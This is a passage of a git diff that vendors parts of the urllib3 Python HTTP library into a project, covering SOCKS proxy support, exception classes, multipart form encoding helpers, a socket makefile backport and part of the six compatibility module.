+.. note:: + It is recommended to use ``socks5h://`` or ``socks4a://`` schemes in + your ``proxy_url`` to ensure that DNS resolution is done from the remote + server instead of client-side when connecting to a domain name. + +SOCKS4 supports IPv4 and domain names with the SOCKS4A extension. SOCKS5 +supports IPv4, IPv6, and domain names. + +When connecting to a SOCKS4 proxy the ``username`` portion of the ``proxy_url`` +will be sent as the ``userid`` section of the SOCKS request: + +.. code-block:: python + + proxy_url="socks4a://@proxy-host" + +When connecting to a SOCKS5 proxy the ``username`` and ``password`` portion +of the ``proxy_url`` will be sent as the username/password to authenticate +with the proxy: + +.. code-block:: python + + proxy_url="socks5h://:@proxy-host" + +""" +from __future__ import absolute_import + +try: + import socks +except ImportError: + import warnings + + from ..exceptions import DependencyWarning + + warnings.warn( + ( + "SOCKS support in urllib3 requires the installation of optional " + "dependencies: specifically, PySocks. For more information, see " + "https://urllib3.readthedocs.io/en/1.26.x/contrib.html#socks-proxies" + ), + DependencyWarning, + ) + raise + +from socket import error as SocketError +from socket import timeout as SocketTimeout + +from ..connection import HTTPConnection, HTTPSConnection +from ..connectionpool import HTTPConnectionPool, HTTPSConnectionPool +from ..exceptions import ConnectTimeoutError, NewConnectionError +from ..poolmanager import PoolManager +from ..util.url import parse_url + +try: + import ssl +except ImportError: + ssl = None + + +class SOCKSConnection(HTTPConnection): + """ + A plain-text HTTP connection that connects via a SOCKS proxy. + """ + + def __init__(self, *args, **kwargs): + self._socks_options = kwargs.pop("_socks_options") + super(SOCKSConnection, self).__init__(*args, **kwargs) + + def _new_conn(self): + """ + Establish a new connection via the SOCKS proxy. + """ + extra_kw = {} + if self.source_address: + extra_kw["source_address"] = self.source_address + + if self.socket_options: + extra_kw["socket_options"] = self.socket_options + + try: + conn = socks.create_connection( + (self.host, self.port), + proxy_type=self._socks_options["socks_version"], + proxy_addr=self._socks_options["proxy_host"], + proxy_port=self._socks_options["proxy_port"], + proxy_username=self._socks_options["username"], + proxy_password=self._socks_options["password"], + proxy_rdns=self._socks_options["rdns"], + timeout=self.timeout, + **extra_kw + ) + + except SocketTimeout: + raise ConnectTimeoutError( + self, + "Connection to %s timed out. (connect timeout=%s)" + % (self.host, self.timeout), + ) + + except socks.ProxyError as e: + # This is fragile as hell, but it seems to be the only way to raise + # useful errors here. + if e.socket_err: + error = e.socket_err + if isinstance(error, SocketTimeout): + raise ConnectTimeoutError( + self, + "Connection to %s timed out. (connect timeout=%s)" + % (self.host, self.timeout), + ) + else: + raise NewConnectionError( + self, "Failed to establish a new connection: %s" % error + ) + else: + raise NewConnectionError( + self, "Failed to establish a new connection: %s" % e + ) + + except SocketError as e: # Defensive: PySocks should catch all these. + raise NewConnectionError( + self, "Failed to establish a new connection: %s" % e + ) + + return conn + + +# We don't need to duplicate the Verified/Unverified distinction from +# urllib3/connection.py here because the HTTPSConnection will already have been +# correctly set to either the Verified or Unverified form by that module. This +# means the SOCKSHTTPSConnection will automatically be the correct type. +class SOCKSHTTPSConnection(SOCKSConnection, HTTPSConnection): + pass + + +class SOCKSHTTPConnectionPool(HTTPConnectionPool): + ConnectionCls = SOCKSConnection + + +class SOCKSHTTPSConnectionPool(HTTPSConnectionPool): + ConnectionCls = SOCKSHTTPSConnection + + +class SOCKSProxyManager(PoolManager): + """ + A version of the urllib3 ProxyManager that routes connections via the + defined SOCKS proxy. + """ + + pool_classes_by_scheme = { + "http": SOCKSHTTPConnectionPool, + "https": SOCKSHTTPSConnectionPool, + } + + def __init__( + self, + proxy_url, + username=None, + password=None, + num_pools=10, + headers=None, + **connection_pool_kw + ): + parsed = parse_url(proxy_url) + + if username is None and password is None and parsed.auth is not None: + split = parsed.auth.split(":") + if len(split) == 2: + username, password = split + if parsed.scheme == "socks5": + socks_version = socks.PROXY_TYPE_SOCKS5 + rdns = False + elif parsed.scheme == "socks5h": + socks_version = socks.PROXY_TYPE_SOCKS5 + rdns = True + elif parsed.scheme == "socks4": + socks_version = socks.PROXY_TYPE_SOCKS4 + rdns = False + elif parsed.scheme == "socks4a": + socks_version = socks.PROXY_TYPE_SOCKS4 + rdns = True + else: + raise ValueError("Unable to determine SOCKS version from %s" % proxy_url) + + self.proxy_url = proxy_url + + socks_options = { + "socks_version": socks_version, + "proxy_host": parsed.host, + "proxy_port": parsed.port, + "username": username, + "password": password, + "rdns": rdns, + } + connection_pool_kw["_socks_options"] = socks_options + + super(SOCKSProxyManager, self).__init__( + num_pools, headers, **connection_pool_kw + ) + + self.pool_classes_by_scheme = SOCKSProxyManager.pool_classes_by_scheme diff --git a/function/http/package/urllib3/exceptions.py b/function/http/package/urllib3/exceptions.py new file mode 100644 index 0000000..cba6f3f --- /dev/null +++ b/function/http/package/urllib3/exceptions.py @@ -0,0 +1,323 @@ +from __future__ import absolute_import + +from .packages.six.moves.http_client import IncompleteRead as httplib_IncompleteRead + +# Base Exceptions + + +class HTTPError(Exception): + """Base exception used by this module.""" + + pass + + +class HTTPWarning(Warning): + """Base warning used by this module.""" + + pass + + +class PoolError(HTTPError): + """Base exception for errors caused within a pool.""" + + def __init__(self, pool, message): + self.pool = pool + HTTPError.__init__(self, "%s: %s" % (pool, message)) + + def __reduce__(self): + # For pickling purposes. + return self.__class__, (None, None) + + +class RequestError(PoolError): + """Base exception for PoolErrors that have associated URLs.""" + + def __init__(self, pool, url, message): + self.url = url + PoolError.__init__(self, pool, message) + + def __reduce__(self): + # For pickling purposes. + return self.__class__, (None, self.url, None) + + +class SSLError(HTTPError): + """Raised when SSL certificate fails in an HTTPS connection.""" + + pass + + +class ProxyError(HTTPError): + """Raised when the connection to a proxy fails.""" + + def __init__(self, message, error, *args): + super(ProxyError, self).__init__(message, error, *args) + self.original_error = error + + +class DecodeError(HTTPError): + """Raised when automatic decoding based on Content-Type fails.""" + + pass + + +class ProtocolError(HTTPError): + """Raised when something unexpected happens mid-request/response.""" + + pass + + +#: Renamed to ProtocolError but aliased for backwards compatibility. +ConnectionError = ProtocolError + + +# Leaf Exceptions + + +class MaxRetryError(RequestError): + """Raised when the maximum number of retries is exceeded. + + :param pool: The connection pool + :type pool: :class:`~urllib3.connectionpool.HTTPConnectionPool` + :param string url: The requested Url + :param exceptions.Exception reason: The underlying error + + """ + + def __init__(self, pool, url, reason=None): + self.reason = reason + + message = "Max retries exceeded with url: %s (Caused by %r)" % (url, reason) + + RequestError.__init__(self, pool, url, message) + + +class HostChangedError(RequestError): + """Raised when an existing pool gets a request for a foreign host.""" + + def __init__(self, pool, url, retries=3): + message = "Tried to open a foreign host with url: %s" % url + RequestError.__init__(self, pool, url, message) + self.retries = retries + + +class TimeoutStateError(HTTPError): + """Raised when passing an invalid state to a timeout""" + + pass + + +class TimeoutError(HTTPError): + """Raised when a socket timeout error occurs. + + Catching this error will catch both :exc:`ReadTimeoutErrors + ` and :exc:`ConnectTimeoutErrors `. + """ + + pass + + +class ReadTimeoutError(TimeoutError, RequestError): + """Raised when a socket timeout occurs while receiving data from a server""" + + pass + + +# This timeout error does not have a URL attached and needs to inherit from the +# base HTTPError +class ConnectTimeoutError(TimeoutError): + """Raised when a socket timeout occurs while connecting to a server""" + + pass + + +class NewConnectionError(ConnectTimeoutError, PoolError): + """Raised when we fail to establish a new connection. Usually ECONNREFUSED.""" + + pass + + +class EmptyPoolError(PoolError): + """Raised when a pool runs out of connections and no more are allowed.""" + + pass + + +class ClosedPoolError(PoolError): + """Raised when a request enters a pool after the pool has been closed.""" + + pass + + +class LocationValueError(ValueError, HTTPError): + """Raised when there is something wrong with a given URL input.""" + + pass + + +class LocationParseError(LocationValueError): + """Raised when get_host or similar fails to parse the URL input.""" + + def __init__(self, location): + message = "Failed to parse: %s" % location + HTTPError.__init__(self, message) + + self.location = location + + +class URLSchemeUnknown(LocationValueError): + """Raised when a URL input has an unsupported scheme.""" + + def __init__(self, scheme): + message = "Not supported URL scheme %s" % scheme + super(URLSchemeUnknown, self).__init__(message) + + self.scheme = scheme + + +class ResponseError(HTTPError): + """Used as a container for an error reason supplied in a MaxRetryError.""" + + GENERIC_ERROR = "too many error responses" + SPECIFIC_ERROR = "too many {status_code} error responses" + + +class SecurityWarning(HTTPWarning): + """Warned when performing security reducing actions""" + + pass + + +class SubjectAltNameWarning(SecurityWarning): + """Warned when connecting to a host with a certificate missing a SAN.""" + + pass + + +class InsecureRequestWarning(SecurityWarning): + """Warned when making an unverified HTTPS request.""" + + pass + + +class SystemTimeWarning(SecurityWarning): + """Warned when system time is suspected to be wrong""" + + pass + + +class InsecurePlatformWarning(SecurityWarning): + """Warned when certain TLS/SSL configuration is not available on a platform.""" + + pass + + +class SNIMissingWarning(HTTPWarning): + """Warned when making a HTTPS request without SNI available.""" + + pass + + +class DependencyWarning(HTTPWarning): + """ + Warned when an attempt is made to import a module with missing optional + dependencies. + """ + + pass + + +class ResponseNotChunked(ProtocolError, ValueError): + """Response needs to be chunked in order to read it as chunks.""" + + pass + + +class BodyNotHttplibCompatible(HTTPError): + """ + Body should be :class:`http.client.HTTPResponse` like + (have an fp attribute which returns raw chunks) for read_chunked(). + """ + + pass + + +class IncompleteRead(HTTPError, httplib_IncompleteRead): + """ + Response length doesn't match expected Content-Length + + Subclass of :class:`http.client.IncompleteRead` to allow int value + for ``partial`` to avoid creating large objects on streamed reads. + """ + + def __init__(self, partial, expected): + super(IncompleteRead, self).__init__(partial, expected) + + def __repr__(self): + return "IncompleteRead(%i bytes read, %i more expected)" % ( + self.partial, + self.expected, + ) + + +class InvalidChunkLength(HTTPError, httplib_IncompleteRead): + """Invalid chunk length in a chunked response.""" + + def __init__(self, response, length): + super(InvalidChunkLength, self).__init__( + response.tell(), response.length_remaining + ) + self.response = response + self.length = length + + def __repr__(self): + return "InvalidChunkLength(got length %r, %i bytes read)" % ( + self.length, + self.partial, + ) + + +class InvalidHeader(HTTPError): + """The header provided was somehow invalid.""" + + pass + + +class ProxySchemeUnknown(AssertionError, URLSchemeUnknown): + """ProxyManager does not support the supplied scheme""" + + # TODO(t-8ch): Stop inheriting from AssertionError in v2.0. + + def __init__(self, scheme): + # 'localhost' is here because our URL parser parses + # localhost:8080 -> scheme=localhost, remove if we fix this. + if scheme == "localhost": + scheme = None + if scheme is None: + message = "Proxy URL had no scheme, should start with http:// or https://" + else: + message = ( + "Proxy URL had unsupported scheme %s, should use http:// or https://" + % scheme + ) + super(ProxySchemeUnknown, self).__init__(message) + + +class ProxySchemeUnsupported(ValueError): + """Fetching HTTPS resources through HTTPS proxies is unsupported""" + + pass + + +class HeaderParsingError(HTTPError): + """Raised by assert_header_parsing, but we convert it to a log.warning statement.""" + + def __init__(self, defects, unparsed_data): + message = "%s, unparsed data: %r" % (defects or "Unknown", unparsed_data) + super(HeaderParsingError, self).__init__(message) + + +class UnrewindableBodyError(HTTPError): + """urllib3 encountered an error when trying to rewind a body""" + + pass diff --git a/function/http/package/urllib3/fields.py b/function/http/package/urllib3/fields.py new file mode 100644 index 0000000..9d630f4 --- /dev/null +++ b/function/http/package/urllib3/fields.py @@ -0,0 +1,274 @@ +from __future__ import absolute_import + +import email.utils +import mimetypes +import re + +from .packages import six + + +def guess_content_type(filename, default="application/octet-stream"): + """ + Guess the "Content-Type" of a file. + + :param filename: + The filename to guess the "Content-Type" of using :mod:`mimetypes`. + :param default: + If no "Content-Type" can be guessed, default to `default`. + """ + if filename: + return mimetypes.guess_type(filename)[0] or default + return default + + +def format_header_param_rfc2231(name, value): + """ + Helper function to format and quote a single header parameter using the + strategy defined in RFC 2231. + + Particularly useful for header parameters which might contain + non-ASCII values, like file names. This follows + `RFC 2388 Section 4.4 `_. + + :param name: + The name of the parameter, a string expected to be ASCII only. + :param value: + The value of the parameter, provided as ``bytes`` or `str``. + :ret: + An RFC-2231-formatted unicode string. + """ + if isinstance(value, six.binary_type): + value = value.decode("utf-8") + + if not any(ch in value for ch in '"\\\r\n'): + result = u'%s="%s"' % (name, value) + try: + result.encode("ascii") + except (UnicodeEncodeError, UnicodeDecodeError): + pass + else: + return result + + if six.PY2: # Python 2: + value = value.encode("utf-8") + + # encode_rfc2231 accepts an encoded string and returns an ascii-encoded + # string in Python 2 but accepts and returns unicode strings in Python 3 + value = email.utils.encode_rfc2231(value, "utf-8") + value = "%s*=%s" % (name, value) + + if six.PY2: # Python 2: + value = value.decode("utf-8") + + return value + + +_HTML5_REPLACEMENTS = { + u"\u0022": u"%22", + # Replace "\" with "\\". + u"\u005C": u"\u005C\u005C", +} + +# All control characters from 0x00 to 0x1F *except* 0x1B. +_HTML5_REPLACEMENTS.update( + { + six.unichr(cc): u"%{:02X}".format(cc) + for cc in range(0x00, 0x1F + 1) + if cc not in (0x1B,) + } +) + + +def _replace_multiple(value, needles_and_replacements): + def replacer(match): + return needles_and_replacements[match.group(0)] + + pattern = re.compile( + r"|".join([re.escape(needle) for needle in needles_and_replacements.keys()]) + ) + + result = pattern.sub(replacer, value) + + return result + + +def format_header_param_html5(name, value): + """ + Helper function to format and quote a single header parameter using the + HTML5 strategy. + + Particularly useful for header parameters which might contain + non-ASCII values, like file names. This follows the `HTML5 Working Draft + Section 4.10.22.7`_ and matches the behavior of curl and modern browsers. + + .. _HTML5 Working Draft Section 4.10.22.7: + https://w3c.github.io/html/sec-forms.html#multipart-form-data + + :param name: + The name of the parameter, a string expected to be ASCII only. + :param value: + The value of the parameter, provided as ``bytes`` or `str``. + :ret: + A unicode string, stripped of troublesome characters. + """ + if isinstance(value, six.binary_type): + value = value.decode("utf-8") + + value = _replace_multiple(value, _HTML5_REPLACEMENTS) + + return u'%s="%s"' % (name, value) + + +# For backwards-compatibility. +format_header_param = format_header_param_html5 + + +class RequestField(object): + """ + A data container for request body parameters. + + :param name: + The name of this request field. Must be unicode. + :param data: + The data/value body. + :param filename: + An optional filename of the request field. Must be unicode. + :param headers: + An optional dict-like object of headers to initially use for the field. + :param header_formatter: + An optional callable that is used to encode and format the headers. By + default, this is :func:`format_header_param_html5`. + """ + + def __init__( + self, + name, + data, + filename=None, + headers=None, + header_formatter=format_header_param_html5, + ): + self._name = name + self._filename = filename + self.data = data + self.headers = {} + if headers: + self.headers = dict(headers) + self.header_formatter = header_formatter + + @classmethod + def from_tuples(cls, fieldname, value, header_formatter=format_header_param_html5): + """ + A :class:`~urllib3.fields.RequestField` factory from old-style tuple parameters. + + Supports constructing :class:`~urllib3.fields.RequestField` from + parameter of key/value strings AND key/filetuple. A filetuple is a + (filename, data, MIME type) tuple where the MIME type is optional. + For example:: + + 'foo': 'bar', + 'fakefile': ('foofile.txt', 'contents of foofile'), + 'realfile': ('barfile.txt', open('realfile').read()), + 'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'), + 'nonamefile': 'contents of nonamefile field', + + Field names and filenames must be unicode. + """ + if isinstance(value, tuple): + if len(value) == 3: + filename, data, content_type = value + else: + filename, data = value + content_type = guess_content_type(filename) + else: + filename = None + content_type = None + data = value + + request_param = cls( + fieldname, data, filename=filename, header_formatter=header_formatter + ) + request_param.make_multipart(content_type=content_type) + + return request_param + + def _render_part(self, name, value): + """ + Overridable helper function to format a single header parameter. By + default, this calls ``self.header_formatter``. + + :param name: + The name of the parameter, a string expected to be ASCII only. + :param value: + The value of the parameter, provided as a unicode string. + """ + + return self.header_formatter(name, value) + + def _render_parts(self, header_parts): + """ + Helper function to format and quote a single header. + + Useful for single headers that are composed of multiple items. E.g., + 'Content-Disposition' fields. + + :param header_parts: + A sequence of (k, v) tuples or a :class:`dict` of (k, v) to format + as `k1="v1"; k2="v2"; ...`. + """ + parts = [] + iterable = header_parts + if isinstance(header_parts, dict): + iterable = header_parts.items() + + for name, value in iterable: + if value is not None: + parts.append(self._render_part(name, value)) + + return u"; ".join(parts) + + def render_headers(self): + """ + Renders the headers for this request field. + """ + lines = [] + + sort_keys = ["Content-Disposition", "Content-Type", "Content-Location"] + for sort_key in sort_keys: + if self.headers.get(sort_key, False): + lines.append(u"%s: %s" % (sort_key, self.headers[sort_key])) + + for header_name, header_value in self.headers.items(): + if header_name not in sort_keys: + if header_value: + lines.append(u"%s: %s" % (header_name, header_value)) + + lines.append(u"\r\n") + return u"\r\n".join(lines) + + def make_multipart( + self, content_disposition=None, content_type=None, content_location=None + ): + """ + Makes this request field into a multipart request field. + + This method overrides "Content-Disposition", "Content-Type" and + "Content-Location" headers to the request parameter. + + :param content_type: + The 'Content-Type' of the request body. + :param content_location: + The 'Content-Location' of the request body. + + """ + self.headers["Content-Disposition"] = content_disposition or u"form-data" + self.headers["Content-Disposition"] += u"; ".join( + [ + u"", + self._render_parts( + ((u"name", self._name), (u"filename", self._filename)) + ), + ] + ) + self.headers["Content-Type"] = content_type + self.headers["Content-Location"] = content_location diff --git a/function/http/package/urllib3/filepost.py b/function/http/package/urllib3/filepost.py new file mode 100644 index 0000000..36c9252 --- /dev/null +++ b/function/http/package/urllib3/filepost.py @@ -0,0 +1,98 @@ +from __future__ import absolute_import + +import binascii +import codecs +import os +from io import BytesIO + +from .fields import RequestField +from .packages import six +from .packages.six import b + +writer = codecs.lookup("utf-8")[3] + + +def choose_boundary(): + """ + Our embarrassingly-simple replacement for mimetools.choose_boundary. + """ + boundary = binascii.hexlify(os.urandom(16)) + if not six.PY2: + boundary = boundary.decode("ascii") + return boundary + + +def iter_field_objects(fields): + """ + Iterate over fields. + + Supports list of (k, v) tuples and dicts, and lists of + :class:`~urllib3.fields.RequestField`. + + """ + if isinstance(fields, dict): + i = six.iteritems(fields) + else: + i = iter(fields) + + for field in i: + if isinstance(field, RequestField): + yield field + else: + yield RequestField.from_tuples(*field) + + +def iter_fields(fields): + """ + .. deprecated:: 1.6 + + Iterate over fields. + + The addition of :class:`~urllib3.fields.RequestField` makes this function + obsolete. Instead, use :func:`iter_field_objects`, which returns + :class:`~urllib3.fields.RequestField` objects. + + Supports list of (k, v) tuples and dicts. + """ + if isinstance(fields, dict): + return ((k, v) for k, v in six.iteritems(fields)) + + return ((k, v) for k, v in fields) + + +def encode_multipart_formdata(fields, boundary=None): + """ + Encode a dictionary of ``fields`` using the multipart/form-data MIME format. + + :param fields: + Dictionary of fields or list of (key, :class:`~urllib3.fields.RequestField`). + + :param boundary: + If not specified, then a random boundary will be generated using + :func:`urllib3.filepost.choose_boundary`. + """ + body = BytesIO() + if boundary is None: + boundary = choose_boundary() + + for field in iter_field_objects(fields): + body.write(b("--%s\r\n" % (boundary))) + + writer(body).write(field.render_headers()) + data = field.data + + if isinstance(data, int): + data = str(data) # Backwards compatibility + + if isinstance(data, six.text_type): + writer(body).write(data) + else: + body.write(data) + + body.write(b"\r\n") + + body.write(b("--%s--\r\n" % (boundary))) + + content_type = str("multipart/form-data; boundary=%s" % boundary) + + return body.getvalue(), content_type diff --git a/function/http/package/urllib3/packages/__init__.py b/function/http/package/urllib3/packages/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/function/http/package/urllib3/packages/backports/__init__.py b/function/http/package/urllib3/packages/backports/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/function/http/package/urllib3/packages/backports/makefile.py b/function/http/package/urllib3/packages/backports/makefile.py new file mode 100644 index 0000000..b8fb215 --- /dev/null +++ b/function/http/package/urllib3/packages/backports/makefile.py @@ -0,0 +1,51 @@ +# -*- coding: utf-8 -*- +""" +backports.makefile +~~~~~~~~~~~~~~~~~~ + +Backports the Python 3 ``socket.makefile`` method for use with anything that +wants to create a "fake" socket object. +""" +import io +from socket import SocketIO + + +def backport_makefile( + self, mode="r", buffering=None, encoding=None, errors=None, newline=None +): + """ + Backport of ``socket.makefile`` from Python 3.5. + """ + if not set(mode) <= {"r", "w", "b"}: + raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) + writing = "w" in mode + reading = "r" in mode or not writing + assert reading or writing + binary = "b" in mode + rawmode = "" + if reading: + rawmode += "r" + if writing: + rawmode += "w" + raw = SocketIO(self, rawmode) + self._makefile_refs += 1 + if buffering is None: + buffering = -1 + if buffering < 0: + buffering = io.DEFAULT_BUFFER_SIZE + if buffering == 0: + if not binary: + raise ValueError("unbuffered streams must be binary") + return raw + if reading and writing: + buffer = io.BufferedRWPair(raw, raw, buffering) + elif reading: + buffer = io.BufferedReader(raw, buffering) + else: + assert writing + buffer = io.BufferedWriter(raw, buffering) + if binary: + return buffer + text = io.TextIOWrapper(buffer, encoding, errors, newline) + text.mode = mode + return text diff --git a/function/http/package/urllib3/packages/six.py b/function/http/package/urllib3/packages/six.py new file mode 100644 index 0000000..f099a3d --- /dev/null +++ b/function/http/package/urllib3/packages/six.py @@ -0,0 +1,1076 @@ +# Copyright (c) 2010-2020 Benjamin Peterson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +"""Utilities for writing code that runs on Python 2 and 3""" + +from __future__ import absolute_import + +import functools +import itertools +import operator +import sys +import types + +__author__ = "Benjamin Peterson " +__version__ = "1.16.0" + + +# Useful for very coarse version differentiation. +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 +PY34 = sys.version_info[0:2] >= (3, 4) + +if PY3: + string_types = (str,) + integer_types = (int,) + class_types = (type,) + text_type = str + binary_type = bytes + + MAXSIZE = sys.maxsize +else: + string_types = (basestring,) + integer_types = (int, long) + class_types = (type, types.ClassType) + text_type = unicode + binary_type = str + + if sys.platform.startswith("java"): + # Jython always uses 32 bits. + MAXSIZE = int((1 << 31) - 1) + else: + # It's possible to have sizeof(long) != sizeof(Py_ssize_t). + class X(object): + def __len__(self): + return 1 << 31 + + try: + len(X()) + except OverflowError: + # 32-bit + MAXSIZE = int((1 << 31) - 1) + else: + # 64-bit + MAXSIZE = int((1 << 63) - 1) + del X + +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + + +def _add_doc(func, doc): + """Add documentation to a function.""" + func.__doc__ = doc + + +def _import_module(name): + """Import module, returning the module after the last dot.""" + __import__(name) + return sys.modules[name] + + +class _LazyDescr(object): + def __init__(self, name): + self.name = name + + def __get__(self, obj, tp): + result = self._resolve() + setattr(obj, self.name, result) # Invokes __set__. + try: + # This is a bit ugly, but it avoids running this again by + # removing this descriptor. + delattr(obj.__class__, self.name) + except AttributeError: + pass + return result + + +class MovedModule(_LazyDescr): + def __init__(self, name, old, new=None): + super(MovedModule, self).__init__(name) + if PY3: + if new is None: + new = name + self.mod = new + else: + self.mod = old + + def _resolve(self): + return _import_module(self.mod) + + def __getattr__(self, attr): + _module = self._resolve() + value = getattr(_module, attr) + setattr(self, attr, value) + return value + + +class _LazyModule(types.ModuleType): + def __init__(self, name): + super(_LazyModule, self).__init__(name) + self.__doc__ = self.__class__.__doc__ + + def __dir__(self): + attrs = ["__doc__", "__name__"] + attrs += [attr.name for attr in self._moved_attributes] + return attrs + + # Subclasses should override this + _moved_attributes = [] + + +class MovedAttribute(_LazyDescr): + def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): + super(MovedAttribute, self).__init__(name) + if PY3: + if new_mod is None: + new_mod = name + self.mod = new_mod + if new_attr is None: + if old_attr is None: + new_attr = name + else: + new_attr = old_attr + self.attr = new_attr + else: + self.mod = old_mod + if old_attr is None: + old_attr = name + self.attr = old_attr + + def _resolve(self): + module = _import_module(self.mod) + return getattr(module, self.attr) + + +class _SixMetaPathImporter(object): + + """ + A meta path importer to import six.moves and its submodules. + + This class implements a PEP302 finder and loader. It should be compatible + with Python 2.5 and all existing versions of Python3 + """ + + def __init__(self, six_module_name): + self.name = six_module_name + self.known_modules = {} + + def _add_module(self, mod, *fullnames): + for fullname in fullnames: + self.known_modules[self.name + "." + fullname] = mod + + def _get_module(self, fullname): + return self.known_modules[self.name + "." + fullname] + + def find_module(self, fullname, path=None): + if fullname in self.known_modules: + return self + return None + + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + + def __get_module(self, fullname): + try: + return self.known_modules[fullname] + except KeyError: + raise ImportError("This loader does not know module " + fullname) + + def load_module(self, fullname): + try: + # in case of a reload + return sys.modules[fullname] + except KeyError: + pass + mod = self.__get_module(fullname) + if isinstance(mod, MovedModule): + mod = mod._resolve() + else: + mod.__loader__ = self + sys.modules[fullname] = mod + return mod + + def is_package(self, fullname): + """ + Return true, if the named module is a package. + + We need this method to get correct spec objects with + Python 3.4 (see PEP451) + """ + return hasattr(self.__get_module(fullname), "__path__") + + def get_code(self, fullname): + """Return None + + Required, if is_package is implemented""" + self.__get_module(fullname) # eventually raises ImportError + return None + + get_source = get_code # same as get_code + + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + + +_importer = _SixMetaPathImporter(__name__) + + +class _MovedItems(_LazyModule): + + """Lazy loading of moved objects""" + + __path__ = [] # mark as package + + +_moved_attributes = [ + MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), + MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), + MovedAttribute( + "filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse" + ), + MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), + MovedAttribute("intern", "__builtin__", "sys"), + MovedAttribute("map", "itertools", "builtins", "imap", "map"), + MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), + MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), + MovedAttribute("getoutput", "commands", "subprocess"), + MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute( + "reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload" + ), + MovedAttribute("reduce", "__builtin__", "functools"), + MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), + MovedAttribute("StringIO", "StringIO", "io"), + MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserList", "UserList", "collections"), + MovedAttribute("UserString", "UserString", "collections"), + MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), + MovedAttribute( + "zip_longest", "itertools", "itertools", "izip_longest", "zip_longest" + ), + MovedModule("builtins", "__builtin__"), + MovedModule("configparser", "ConfigParser"), + MovedModule( + "collections_abc", + "collections", + "collections.abc" if sys.version_info >= (3, 3) else "collections", + ), + MovedModule("copyreg", "copy_reg"), + MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule( + "_dummy_thread", + "dummy_thread", + "_dummy_thread" if sys.version_info < (3, 9) else "_thread", + ), + MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), + MovedModule("http_cookies", "Cookie", "http.cookies"), + MovedModule("html_entities", "htmlentitydefs", "html.entities"), + MovedModule("html_parser", "HTMLParser", "html.parser"), + MovedModule("http_client", "httplib", "http.client"), + MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), + MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), + MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), + MovedModule( + "email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart" + ), + MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), + MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), + MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), + MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), + MovedModule("cPickle", "cPickle", "pickle"), + MovedModule("queue", "Queue"), + MovedModule("reprlib", "repr"), + MovedModule("socketserver", "SocketServer"), + MovedModule("_thread", "thread", "_thread"), + MovedModule("tkinter", "Tkinter"), + MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), + MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), + MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), + MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), + MovedModule("tkinter_tix", "Tix", "tkinter.tix"), + MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), + MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), + MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), + MovedModule("tkinter_colorchooser", "tkColorChooser", "tkinter.colorchooser"), + MovedModule("tkinter_commondialog", "tkCommonDialog", "tkinter.commondialog"), + MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), + MovedModule("tkinter_font", "tkFont", "tkinter.font"), + MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), + MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", "tkinter.simpledialog"), + MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), + MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), + MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), + MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), + MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), + 